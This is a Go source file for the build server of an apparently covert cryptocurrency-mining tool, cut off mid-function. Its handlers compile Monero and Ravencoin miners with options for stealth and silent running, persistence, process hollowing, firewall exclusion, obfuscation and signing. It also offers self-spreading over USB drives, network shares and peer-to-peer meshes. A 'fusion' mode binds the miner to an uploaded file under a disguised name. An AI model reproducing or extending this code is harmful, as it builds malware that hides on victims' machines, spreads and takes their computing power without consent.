package builder

import (
	"context"
	"encoding/json"
	"fmt"
	"io"
	"log"
	"mime/multipart"
	"net/http"
	"os"
	"os/exec"
	"path/filepath"
	"strings"
	"sync"
	"time"

	"crypto-miner-server/internal/db"
	"crypto-miner-server/internal/models"

	"github.com/go-chi/chi/v5"
	"github.com/google/uuid"
)

type BuildRequest struct {
	WorkerName          string `json:"worker_name"`
	ServerURL           string   `json:"server_url"`
	BackupServerURLs    []string `json:"backup_server_urls"`
	Wallet              string   `json:"wallet"`
	OutputDir           string `json:"output_dir"`
	Threads             int    `json:"threads"`
	ThreadMode          string `json:"thread_mode"`
	ThreadPercent       int    `json:"thread_percent"`
	CPUPriority         string `json:"cpu_priority"`
	MiningMode          string `json:"mining_mode"`
	DisplayMode         string `json:"display_mode"`
	SilentMode          bool   `json:"silent_mode"`
	RunAs               string `json:"run_as"`
	AutoStart           bool   `json:"auto_start"`
	Persistence         bool   `json:"persistence"`
	ProcessName         string `json:"process_name"`
	MaxCPUUsagePct      int    `json:"max_cpu_usage_pct"`
	MaxMemoryPct        int    `json:"max_memory_percent"`
	MinFreeRAMMB        int    `json:"min_free_ram_mb"`
	IdleThresholdPct    int    `json:"idle_threshold_pct"`
	IdleDurationMinutes int    `json:"idle_duration_minutes"`
	ScheduleStart       string `json:"schedule_start"`
	ScheduleEnd         string `json:"schedule_end"`
	InstallBase         string `json:"install_base"`
	InstallCustomBase   string `json:"install_custom_base"`
	InstallRelativePath string `json:"install_relative_path"`
	AdaptToHardware     bool   `json:"adapt_to_hardware"`
	SelfHealing         bool   `json:"self_healing"`
	FileLogging         bool   `json:"file_logging"`
	StealthMode         bool   `json:"stealth_mode"`
	FirewallExclusion   bool   `json:"firewall_exclusion"`
	PoolHost            string `json:"pool_host"`
	PoolPort            int    `json:"pool_port"`
	PoolTLS             bool   `json:"pool_tls"`
	PoolPass            string `json:"pool_pass"`
	FusionEnabled        bool   `json:"fusion_enabled"`
	FusionRunOrder       string `json:"fusion_run_order"`
	FusionOutputName     string `json:"fusion_output_name"`
	FusionPayloadKind    string `json:"fusion_payload_kind"`
	FusionMediaMode      string `json:"fusion_media_mode"`
	FusionMediaBaseName  string `json:"fusion_media_base_name"`
	FusionExportSubdir   string `json:"fusion_export_subdir"`
	// AI Autonomy (Ollama)
	AIEnabled        bool   `json:"ai_enabled"`
	AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
	AIModel          string `json:"ai_model"`
	ProcessHollowing bool   `json:"process_hollowing"`
	MeshP2P          bool   `json:"mesh_p2p"`
	AutoSpread       bool   `json:"auto_spread"`
	HolePunch        bool   `json:"hole_punch"`
	RemoteAggressive bool   `json:"remote_aggressive"`
	USBSpread        bool   `json:"usb_spread"`
	ShareSpread      bool   `json:"share_spread"`
	TargetOS         string `json:"target_os"`
	TargetArch       string `json:"target_arch"`
	SpreadKit        bool        `json:"spread_kit"`
	Obfuscate        bool        `json:"obfuscate"`
	SignBuild        bool        `json:"sign_build"`
	BackupPools      []BackupPool `json:"backup_pools"`
	// CancelToken is a client-generated UUID. Pass the same token to
	// DELETE /api/v1/builder/cancel/{token} to abort this build mid-compile.
	CancelToken      string      `json:"cancel_token,omitempty"`

	// GPU / Ravencoin mining
	GPUEnabled      bool         `json:"gpu_enabled"`
	RVNWallet       string       `json:"rvn_wallet"`
	RVNPoolHost     string       `json:"rvn_pool_host"`
	RVNPoolPort     int          `json:"rvn_pool_port"`
	RVNPoolTLS      bool         `json:"rvn_pool_tls"`
	RVNPoolPass     string       `json:"rvn_pool_pass"`
	RVNBackupPools  []BackupPool `json:"rvn_backup_pools"`
}

// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
type BackupPool struct {
	Host string `json:"host"`
	Port int    `json:"port"`
	TLS  bool   `json:"tls"`
	Pass string `json:"pass"`
}

type BuildResponse struct {
	Success              bool   `json:"success"`
	BuildID              string `json:"build_id,omitempty"`
	FileName             string `json:"file_name,omitempty"`
	FilePath             string `json:"file_path,omitempty"`
	RelativePath         string `json:"relative_path,omitempty"`
	FileSize             int64  `json:"file_size,omitempty"`
	DownloadURL          string `json:"download_url,omitempty"`
	UninstallFileName    string `json:"uninstall_file_name,omitempty"`
	UninstallPath        string `json:"uninstall_path,omitempty"`
	UninstallDownloadURL string `json:"uninstall_download_url,omitempty"`
	ExportPath           string `json:"export_path,omitempty"`
	UninstallExportPath  string `json:"uninstall_export_path,omitempty"`
	FusionEnabled        bool   `json:"fusion_enabled,omitempty"`
	FusionExportDir      string `json:"fusion_export_dir,omitempty"`
	ExtraFiles           []BuildArtifactFile `json:"extra_files,omitempty"`
	BundleFileName       string `json:"bundle_file_name,omitempty"`
	BundleDownloadURL    string `json:"bundle_download_url,omitempty"`
	BundleSize           int64  `json:"bundle_size,omitempty"`
	WorkerFile           string `json:"worker_file,omitempty"`
	Signed               bool   `json:"signed,omitempty"`
	Obfuscated           bool   `json:"obfuscated,omitempty"`
	Error                string `json:"error,omitempty"`
}

type BuildArtifactFile struct {
	FileName string `json:"file_name"`
	FilePath string `json:"file_path,omitempty"`
}

func buildExtraFilesFromArtifacts(arts []BuildArtifactFile) []models.BuildExtraFile {
	if len(arts) == 0 {
		return nil
	}
	out := make([]models.BuildExtraFile, len(arts))
	for i, a := range arts {
		out[i] = models.BuildExtraFile{FileName: a.FileName, FilePath: a.FilePath}
	}
	return out
}

type Handler struct {
	db          *db.Database
	dataDir     string
	agentSrcDir string
	projectRoot string
	goBinPath   string
	garblePath  string
	goWinresPath string
	serverModDir string
	policy      BuildPolicy
	fleetSecret string // injected from server config; baked into every forge output

	// Active build cancellation — maps cancel_token → cancel func so the frontend
	// can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}.
	activeCancelsMu sync.Mutex
	activeCancels   map[string]context.CancelFunc
}

// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
func (h *Handler) SetFleetSecret(secret string) {
	h.fleetSecret = secret
}

// CancelBuild cancels an in-progress build identified by cancelToken.
// Returns true if the token was found and cancelled, false if unknown.
func (h *Handler) CancelBuild(cancelToken string) bool {
	h.activeCancelsMu.Lock()
	cancel, ok := h.activeCancels[cancelToken]
	h.activeCancelsMu.Unlock()
	if ok {
		cancel()
	}
	return ok
}

func (h *Handler) registerCancel(token string, cancel context.CancelFunc) {
	h.activeCancelsMu.Lock()
	if h.activeCancels == nil {
		h.activeCancels = make(map[string]context.CancelFunc)
	}
	h.activeCancels[token] = cancel
	h.activeCancelsMu.Unlock()
}

func (h *Handler) unregisterCancel(token string) {
	if token == "" {
		return
	}
	h.activeCancelsMu.Lock()
	delete(h.activeCancels, token)
	h.activeCancelsMu.Unlock()
}

type SignPolicy struct {
	Enabled        bool   `json:"enabled"`
	CertThumbprint string `json:"cert_thumbprint"`
	ToolPath       string `json:"tool_path"`
	TimestampURL   string `json:"timestamp_url"`
}

type BuildPolicy struct {
	StrictWalletValidation bool
	MaxBuildSizeMB         int
	DefaultObfuscate       bool
	Sign                   SignPolicy
}

func (h *Handler) SetBuildPolicy(p BuildPolicy) {
	h.policy = p
}

func NewHandler(database *db.Database, dataDir string, agentSrcDir string, projectRoot string) *Handler {
	goBin := "go"
	if _, err := exec.LookPath("go"); err == nil {
		goBin = "go"
	}
	h := &Handler{
		db:          database,
		dataDir:     dataDir,
		agentSrcDir: agentSrcDir,
		projectRoot: projectRoot,
		goBinPath:   goBin,
	}
	h.resolveToolPaths(projectRoot)
	return h
}

func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodPost {
		http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
		return
	}

	var req BuildRequest
	var prepPath string
	var cleanupPrep func()

	contentType := r.Header.Get("Content-Type")
	if strings.HasPrefix(contentType, "multipart/form-data") {
		if err := r.ParseMultipartForm(64 << 20); err != nil {
			writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"})
			return
		}
		configJSON := r.FormValue("config")
		if configJSON == "" {
			writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Missing config field"})
			return
		}
		if err := json.Unmarshal([]byte(configJSON), &req); err != nil {
			writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid config JSON"})
			return
		}
		file, header, err := r.FormFile("prep_exe")
		if req.FusionEnabled {
			if err != nil {
				writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion requires prep_exe file upload"})
				return
			}
			defer file.Close()
			if req.FusionMediaBaseName == "" && header.Filename != "" {
				req.FusionMediaBaseName = header.Filename
			}
			if req.FusionOutputName == "" && header.Filename != "" {
				req.FusionOutputName = header.Filename
			}
			if req.FusionPayloadKind == "" {
				req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
			}
			saved, remove, err := h.saveUploadedFusionPayload(file, header)
			if err != nil {
				writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
				return
			}
			prepPath = saved
			cleanupPrep = remove
		} else if err == nil {
			file.Close()
		}
	} else {
		if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
			writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
			return
		}
	}

	if cleanupPrep != nil {
		defer cleanupPrep()
	}

	if err := h.normalizeRequest(&req); err != nil {
		writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
		return
	}
	if req.FusionEnabled && prepPath == "" {
		writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no payload file uploaded"})
		return
	}

	// Register cancel token so the frontend can abort this compile mid-flight.
	// The ctx is threaded all the way down to exec.CommandContext, so cancellation
	// immediately sends SIGKILL to the running go/garble process.
	ctx := r.Context()
	if req.CancelToken != "" {
		var cancelFn context.CancelFunc
		ctx, cancelFn = context.WithCancel(ctx)
		h.registerCancel(req.CancelToken, cancelFn)
		defer h.unregisterCancel(req.CancelToken)
	}

	// FusionOutputName will be derived from the payload filename if not set
	resp, status, outputPath := h.buildAgent(ctx, &req, prepPath)
	if !resp.Success {
		writeJSON(w, status, resp)
		return
	}

	if r.URL.Query().Get("download") == "1" {
		w.Header().Set("Content-Type", "application/octet-stream")
		w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName))
		http.ServeFile(w, r, outputPath)
		return
	}

	writeJSON(w, http.StatusOK, resp)
}

func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodPost {
		http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
		return
	}

	var req BuildRequest
	var prepPath string
	var prepSize int64
	var prepName string
	var cleanupPrep func()

	contentType := r.Header.Get("Content-Type")
	if strings.HasPrefix(contentType, "multipart/form-data") {
		if err := r.ParseMultipartForm(64 << 20); err != nil {
			writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
			return
		}
		configJSON := r.FormValue("config")
		if configJSON == "" {
			writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Missing config field"})
			return
		}
		if err := json.Unmarshal([]byte(configJSON), &req); err != nil {
			writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid config JSON"})
			return
		}
		file, header, err := r.FormFile("prep_exe")
		if err != nil {
			writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires prep_exe upload"})
			return
		}
		defer file.Close()
		if header != nil {
			prepSize = header.Size
			prepName = header.Filename
		}
		if req.FusionPayloadKind == "" {
			req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
		}
		saved, remove, err := h.saveUploadedFusionPayload(file, header)
		if err != nil {
			writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
			return
		}
		prepPath = saved
		cleanupPrep = remove
	} else {
		writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires multipart prep_exe upload"})
		return
	}

	if cleanupPrep != nil {
		defer cleanupPrep()
	}

	if err := h.normalizeRequest(&req); err != nil {
		writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
		return
	}
	if !req.FusionEnabled {
		writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion must be enabled for estimate"})
		return
	}
	if req.FusionOutputName == "" && prepName != "" {
		req.FusionOutputName = prepName
	}

	est := h.estimateFusionBuild(&req, prepPath, prepSize, prepName)
	writeJSON(w, http.StatusOK, est)
}

func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
	buildID := chi.URLParam(r, "id")
	build, err := h.db.GetBuild(buildID)
	if err != nil {
		http.Error(w, "Build not found", http.StatusNotFound)
		return
	}
	if _, err := os.Stat(build.FilePath); err != nil {
		http.Error(w, "Build file missing", http.StatusNotFound)
		return
	}
	w.Header().Set("Content-Type", "application/octet-stream")
	w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(build.FilePath)))
	http.ServeFile(w, r, build.FilePath)
}

func (h *Handler) DownloadBuildArtifact(w http.ResponseWriter, r *http.Request) {
	buildID := chi.URLParam(r, "id")
	if _, err := h.db.GetBuild(buildID); err != nil {
		http.Error(w, "Build not found", http.StatusNotFound)
		return
	}
	name := sanitizeFileName(chi.URLParam(r, "name"))
	if name == "" || strings.Contains(name, "..") {
		http.Error(w, "Invalid artifact name", http.StatusBadRequest)
		return
	}
	buildDir := filepath.Join(h.dataDir, "builds", buildID)
	path, err := safePathUnderRoot(buildDir, name)
	if err != nil {
		if title := strings.TrimSpace(r.URL.Query().Get("export_dir")); title != "" {
			title = sanitizeFileName(filepath.Base(title))
			deliverablesRoot := filepath.Join(h.projectRoot, FusionDeliverablesDir)
			path, err = safePathUnderRoot(filepath.Join(deliverablesRoot, title), name)
		}
	}
	if err != nil {
		http.Error(w, "Artifact not found", http.StatusNotFound)
		return
	}
	if _, err := os.Stat(path); err != nil {
		http.Error(w, "Artifact not found", http.StatusNotFound)
		return
	}
	w.Header().Set("Content-Type", "application/octet-stream")
	w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, name))
	http.ServeFile(w, r, path)
}

func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
	buildID := chi.URLParam(r, "id")
	build, err := h.db.GetBuild(buildID)
	if err != nil {
		http.Error(w, "Build not found", http.StatusNotFound)
		return
	}
	// Uninstall script lives in buildDir (builds/<id>/), NOT in the platform
	// sub-directory where the binary lives (builds/<id>/windows-amd64/).
	// Compute directly from dataDir + buildID to avoid path-stripping mistakes.
	buildDir := filepath.Join(h.dataDir, "builds", buildID)
	uninstallPath := filepath.Join(buildDir, fmt.Sprintf("uninstall-%s.ps1", sanitizeFileName(build.WorkerName)))
	if _, err := os.Stat(uninstallPath); err != nil {
		http.Error(w, "Uninstall script missing", http.StatusNotFound)
		return
	}
	w.Header().Set("Content-Type", "application/octet-stream")
	w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(uninstallPath)))
	http.ServeFile(w, r, uninstallPath)
}

func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) {
	if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" {
		return h.buildUniversalAgent(ctx, req, prepPath)
	}

	buildID := uuid.New().String()
	buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
	agentDir := filepath.Join(buildDir, "agent")

	if err := os.MkdirAll(agentDir, 0755); err != nil {
		return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
	}

	if err := h.copyAgentSource(agentDir); err != nil {
		log.Printf("Failed to copy agent source: %v", err)
		return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
	}

	configDir := filepath.Join(agentDir, "config")
	if err := os.MkdirAll(configDir, 0755); err != nil {
		return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
	}

	platforms := platformsForRequest(req)
	p := platforms[0]
	outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
	if err != nil {
		log.Printf("Build failed: %v", err)
		return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
	}
	obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
	workerName := filepath.Base(outputPath)
	finalPath := outputPath
	finalName := workerName
	var fusionEnabled bool

	uninstallName, uninstallPath, err := h.writeUninstallScript(buildDir, buildID, req)
	if err != nil {
		return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, ""
	}

	var extraArtifacts []BuildArtifactFile
	var fusionRes *fusionBuildResult
	if req.FusionEnabled {
		if req.FusionPayloadKind == "" {
			req.FusionPayloadKind = detectFusionPayloadKind(prepPath)
		}
		var err error
		fusionRes, err = h.buildFusionFromRequest(ctx, buildDir, prepPath, outputPath, req)
		if err != nil {
			return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
		}
		finalPath = fusionRes.LauncherPath
		finalName = filepath.Base(finalPath)
		fusionEnabled = true
		if fusionRes.EncryptedPath != "" {
			extraArtifacts = append(extraArtifacts, BuildArtifactFile{
				FileName: filepath.Base(fusionRes.EncryptedPath),
				FilePath: fusionRes.EncryptedPath,
			})
		}
		if fusionRes.ShortcutPath != "" {
			extraArtifacts = append(extraArtifacts, BuildArtifactFile{
				FileName: filepath.Base(fusionRes.ShortcutPath),
				FilePath: fusionRes.ShortcutPath,
			})
		}
	}

	var fusionExportDir string
	var bundleFileName string
	var bundleDownloadURL string
	var bundleSize int64
	exportPath := ""
	if fusionEnabled {
		exportLabel := req.FusionMediaBaseName
		if exportLabel == "" {
			exportLabel = filepath.Base(prepPath)
		}
		arts := map[string]string{finalName: finalPath}
		for _, ex := range extraArtifacts {
			arts[ex.FileName] = ex.FilePath
		}
		// In paired mode the runner looks for the payload file next to (or above) the binary.
		// Include it in the deliverable so the ZIP is self-contained without needing the
		// user to place the file themselves.
		if normalizeFusionMediaMode(req.FusionMediaMode) == "paired" && prepPath != "" {
			arts[sanitizeFileName(filepath.Base(prepPath))] = prepPath
		}
		subdir := fusionExportSubdir(req, exportLabel)
		readme := fusionReadmeInfo{
			Title:       strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)),
			RunnerName:  finalName,
			MediaName:   filepath.Base(exportLabel),
			PayloadKind: req.FusionPayloadKind,
			MediaMode:   req.FusionMediaMode,
		}
		if readme.Title == "" {
			readme.Title = sanitizeFileName(req.WorkerName)
		}
		dir, err := h.publishFusionDeliverable(subdir, arts, readme)
		if err != nil {
			return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
		}
		fusionExportDir = dir
		exportPath = filepath.Join(dir, finalName)
		extraArtifacts = append(extraArtifacts, BuildArtifactFile{
			FileName: "README.txt",
			FilePath: filepath.Join(dir, "README.txt"),
		})
		for i := range extraArtifacts {
			if extraArtifacts[i].FileName != "README.txt" {
				extraArtifacts[i].FilePath = filepath.Join(dir, extraArtifacts[i].FileName)
			}
		}

		bundleFileName = fusionBundleZipName(subdir)
		bundleBuildPath := filepath.Join(buildDir, bundleFileName)
		if err := zipDirectory(dir, bundleBuildPath); err != nil {
			return BuildResponse{Success: false, Error: "Failed to create package zip: " + err.Error()}, http.StatusInternalServerError, ""
		}
		_ = copyFile(bundleBuildPath, filepath.Join(dir, bundleFileName))
		if st, err := os.Stat(bundleBuildPath); err == nil {
			bundleSize = st.Size()
		}
		bundleDownloadURL = fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, bundleFileName)
	} else {
		var err error
		exportPath, err = h.publishRootExecutable(finalPath, finalName)
		if err != nil {
			return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
		}
	}
	if exportPath == "" {
		exportPath, _ = filepath.Abs(finalPath)
	}
	if strings.TrimSpace(req.OutputDir) != "" {
		if ep, eu, err := h.exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, req.OutputDir); err != nil {
			log.Printf("[Builder] secondary export: %v", err)
		} else {
			_ = eu
			if exportPath == "" {
				exportPath = ep
			}
		}
	}

	signed := false
	if h.shouldSignBuild(req) {
		if err := h.signExecutable(finalPath); err != nil {
			return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
		}
		signed = true
		if exportPath != "" && exportPath != finalPath {
			_ = h.signExecutable(exportPath)
		}
	}

	fileInfo, err := os.Stat(finalPath)
	if err != nil {
		return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
	}
	if h.policy.MaxBuildSizeMB > 0 {
		maxBytes := int64(h.policy.MaxBuildSizeMB) * 1024 * 1024
		if fileInfo.Size() > maxBytes {
			_ = os.RemoveAll(buildDir)
			return BuildResponse{Success: false, Error: fmt.Sprintf("build exceeds max size (%d MB)", h.policy.MaxBuildSizeMB)}, http.StatusBadRequest, ""
		}
	}

	absPath, _ := filepath.Abs(finalPath)
	relPath, _ := filepath.Rel(h.projectRoot, absPath)
	if relPath == "" || strings.HasPrefix(relPath, "..") {
		relPath = filepath.Join(h.dataDir, "builds", buildID, finalName)
	}

	// Normalise platform tag for easy lookup by /get endpoint
	recordPlatform := strings.ToLower(strings.TrimSpace(req.TargetOS))
	if recordPlatform == "" {
		recordPlatform = "windows"
	}

	dlURL := fmt.Sprintf("/api/v1/builds/%s/download", buildID)
	if bundleDownloadURL != "" {
		dlURL = bundleDownloadURL
	}
	buildRecord := &models.BuildRecord{
		ID:          buildID,
		WorkerName:  req.WorkerName,
		ServerURL:   req.ServerURL,
		Wallet:      req.Wallet,
		Threads:     req.Threads,
		FileSize:    fileInfo.Size(),
		BundleSize:  bundleSize,
		FilePath:    absPath,
		FileName:    finalName,
		DownloadURL: dlURL,
		ExtraFiles:  buildExtraFilesFromArtifacts(extraArtifacts),
		Platform:    recordPlatform,
		CreatedAt:   time.Now(),
		PoolHost:    req.PoolHost,
		PoolPort:    req.PoolPort,
		PoolTLS:     req.PoolTLS,
		PoolPass:    req.PoolPass,
	}
	if err := h.db.InsertBuild(buildRecord); err != nil {
		log.Printf("Failed to record build: %v", err)
		return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
	}

	resp := BuildResponse{
		Success:              true,
		BuildID:              buildID,
		FileName:             finalName,
		FilePath:             absPath,
		RelativePath:         relPath,
		FileSize:             fileInfo.Size(),
		DownloadURL:          fmt.Sprintf("/api/v1/builds/%s/download", buildID),
		UninstallFileName:    uninstallName,
		UninstallPath:        uninstallPath,
		UninstallDownloadURL: fmt.Sprintf("/api/v1/builds/%s/uninstall", buildID),
		ExportPath:           exportPath,
		UninstallExportPath:  "",
		FusionEnabled:        fusionEnabled,
		FusionExportDir:      fusionExportDir,
		ExtraFiles:           extraArtifacts,
		BundleFileName:       bundleFileName,
		BundleDownloadURL:    bundleDownloadURL,
		BundleSize:           bundleSize,
		WorkerFile:           workerName,
		Signed:               signed,
		Obfuscated:           obfuscated,
	}
	if fusionEnabled && bundleDownloadURL != "" {
		resp.DownloadURL = bundleDownloadURL
		resp.FileName = bundleFileName
		if bundleSize > 0 {
			resp.FileSize = bundleSize
		}
	}
	return resp, http.StatusOK, finalPath
}

// publishRootExecutable writes the forged installer as a single file in the project root.
func (h *Handler) publishRootExecutable(finalPath, finalName string) (string, error) {
	if h.projectRoot == "" || h.projectRoot == "." {
		abs, _ := filepath.Abs(finalPath)
		return abs, nil
	}
	dest := filepath.Join(h.projectRoot, filepath.Base(finalName))
	if err := copyFile(finalPath, dest); err != nil {
		return "", fmt.Errorf("failed to write %s to project root: %w", filepath.Base(finalName), err)
	}
	log.Printf("[Builder] Forge output -> %s", dest)
	return dest, nil
}

// exportBuildArtifacts copies the forged exe + uninstall script to an optional subfolder (e.g. exports).
func (h *Handler) exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, outputDir string) (string, string, error) {
	clean := strings.TrimSpace(outputDir)
	if clean == "" {
		return "", "", nil
	}
	clean = filepath.Clean(clean)
	if clean == "." || strings.HasPrefix(clean, "..") || filepath.IsAbs(clean) {
		return "", "", fmt.Errorf("invalid output_dir (use a simple folder name like exports)")
	}

	exportDir := ""
	if h.projectRoot != "" {
		exportDir = filepath.Join(h.projectRoot, clean)
	} else {
		exportDir = filepath.Join(h.dataDir, clean)
	}
	if err := os.MkdirAll(exportDir, 0755); err != nil {
		return "", "", fmt.Errorf("failed to create export folder: %w", err)
	}

	exportExe := filepath.Join(exportDir, finalName)
	if err := copyFile(finalPath, exportExe); err != nil {
		return "", "", fmt.Errorf("failed to export build: %w", err)
	}
	exportUninstall := filepath.Join(exportDir, uninstallName)
	_ = copyFile(uninstallPath, exportUninstall)

	log.Printf("[Builder] Exported %s -> %s", finalName, exportExe)
	return exportExe, exportUninstall, nil
}

func (h *Handler) normalizeRequest(req *BuildRequest) error {
	if req.WorkerName == "" {
		return fmt.Errorf("worker_name is required")
	}
	if req.ServerURL == "" {
		return fmt.Errorf("server_url is required")
	}
	if req.Wallet == "" {
		return fmt.Errorf("wallet is required")
	}
	if h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) {
		return fmt.Errorf("wallet must be a valid Monero mainnet address (starts with 4, 90–106 chars)")
	}
	req.OutputDir = strings.TrimSpace(req.OutputDir)
	if req.OutputDir != "" {
		// must be relative to data_dir; no drive letters, no absolute paths, no traversal
		clean := filepath.Clean(req.OutputDir)
		if clean == "." || strings.HasPrefix(clean, "..") || filepath.IsAbs(clean) || strings.Contains(clean, ":") {
			return fmt.Errorf("output_dir must be a relative folder under data_dir")
		}
		req.OutputDir = clean
	}
	if req.Threads <= 0 {
		req.Threads = 4
	}
	if req.ThreadMode == "" {
		req.ThreadMode = "percent"
	}
	if req.ThreadPercent <= 0 {
		req.ThreadPercent = 75
	}
	if req.ThreadPercent > 100 {
		req.ThreadPercent = 100
	}
	if req.DisplayMode == "" {
		if req.SilentMode {
			req.DisplayMode = "silent"
		} else {
			req.DisplayMode = "background"
		}
	}
	if req.Persistence {
		req.AutoStart = true
	}
	if req.ProcessName == "" {
		req.ProcessName = sanitizeFileName(req.WorkerName)
	}
	if req.MaxMemoryPct <= 0 {
		req.MaxMemoryPct = 70
	}
	if req.CPUPriority == "" {
		req.CPUPriority = "below_normal"
	}
	if req.MiningMode == "" {
		req.MiningMode = "always"
	}
	if req.RunAs == "" {
		req.RunAs = "user"
	}
	if req.MaxCPUUsagePct <= 0 {
		req.MaxCPUUsagePct = 80
	}
	if req.MinFreeRAMMB <= 0 {
		req.MinFreeRAMMB = 1024
	}
	if req.IdleThresholdPct <= 0 {
		req.IdleThresholdPct = 20
	}
	if req.IdleDurationMinutes <= 0 {
		req.IdleDurationMinutes = 5
	}
	if req.ScheduleStart == "" {
		req.ScheduleStart = "21:00"
	}
	if req.ScheduleEnd == "" {
		req.ScheduleEnd = "06:00"
	}
	if req.InstallBase == "" {
		req.InstallBase = "localappdata"
	}
	if req.InstallRelativePath == "" {
		req.InstallRelativePath = "CryptoMiner/{worker}-{build_short}"
	}
	if req.InstallBase == "custom" && strings.TrimSpace(req.InstallCustomBase) == "" {
		return fmt.Errorf("install_custom_base is required when install_base is custom")
	}
	if req.StealthMode {
		req.FileLogging = false
		if req.DisplayMode == "" || req.DisplayMode == "visible" {
			req.DisplayMode = "background"
		}
	}
	if req.PoolHost == "" {
		req.PoolHost = "pool.supportxmr.com"
	}
	if req.PoolPort <= 0 {
		req.PoolPort = 3333
	}
	if req.PoolPass == "" {
		req.PoolPass = "x"
	}
	if req.FusionEnabled {
		if req.FusionRunOrder == "" {
			req.FusionRunOrder = "parallel"
		}
		if req.FusionOutputName == "" || req.FusionOutputName == "prep.exe" {
			if base := strings.TrimSpace(req.FusionMediaBaseName); base != "" {
				req.FusionOutputName = disguisedRunnerName(base)
			} else if req.FusionOutputName == "" {
				req.FusionOutputName = "prep.exe"
			}
		}
		if req.FusionMediaMode == "" {
			req.FusionMediaMode = "paired"
		}
		req.FusionMediaMode = normalizeFusionMediaMode(req.FusionMediaMode)
		if req.DisplayMode == "" || req.DisplayMode == "visible" {
			req.DisplayMode = "background"
		}
	}
	if req.AIEnabled {
		if req.AIOllamaEndpoint == "" {
			req.AIOllamaEndpoint = "http://localhost:11434"
		}
		if req.AIModel == "" {
			req.AIModel = "llama3.2"
		}
	}
	if strings.TrimSpace(req.TargetOS) == "" {
		req.TargetOS = "windows"
	}
	if req.SpreadKit {
		req.FusionEnabled = false
		req.TargetOS = "universal"
		if req.RunAs == "" || req.RunAs == "user" {
			req.RunAs = "scheduled"
		}
		req.Persistence = true
		req.AutoStart = true
	}
	return nil
}

func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
	if header == nil {
		return "", nil, fmt.Errorf("fusion upload is missing")
	}
	if header.Size > FusionMaxUploadBytes {
		return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
	}
	if header.Size < 0 {
		return "", nil, fmt.Errorf("fusion upload size unknown — retry with a smaller file")
	}
	baseName := filepath.Base(header.Filename)
	if baseName == "" || baseName == "." {
		return "", nil, fmt.Errorf("fusion upload filename is invalid")
	}
	if !isFusionPayloadExt(baseName) {
		return "", nil, fmt.Errorf("fusion upload has no recognisable file extension")
	}

	prepRoot := filepath.Join(h.dataDir, "preps")
	if err := os.MkdirAll(prepRoot, 0755); err != nil {
		return "", nil, fmt.Errorf("failed to create preps directory: %w", err)
	}
	dir, err := os.MkdirTemp(prepRoot, "upload-*")
	if err != nil {
		return "", nil, err
	}
	dest := filepath.Join(dir, sanitizeFileName(baseName))
	out, err := os.Create(dest)
	if err != nil {
		os.RemoveAll(dir)
		return "", nil, err
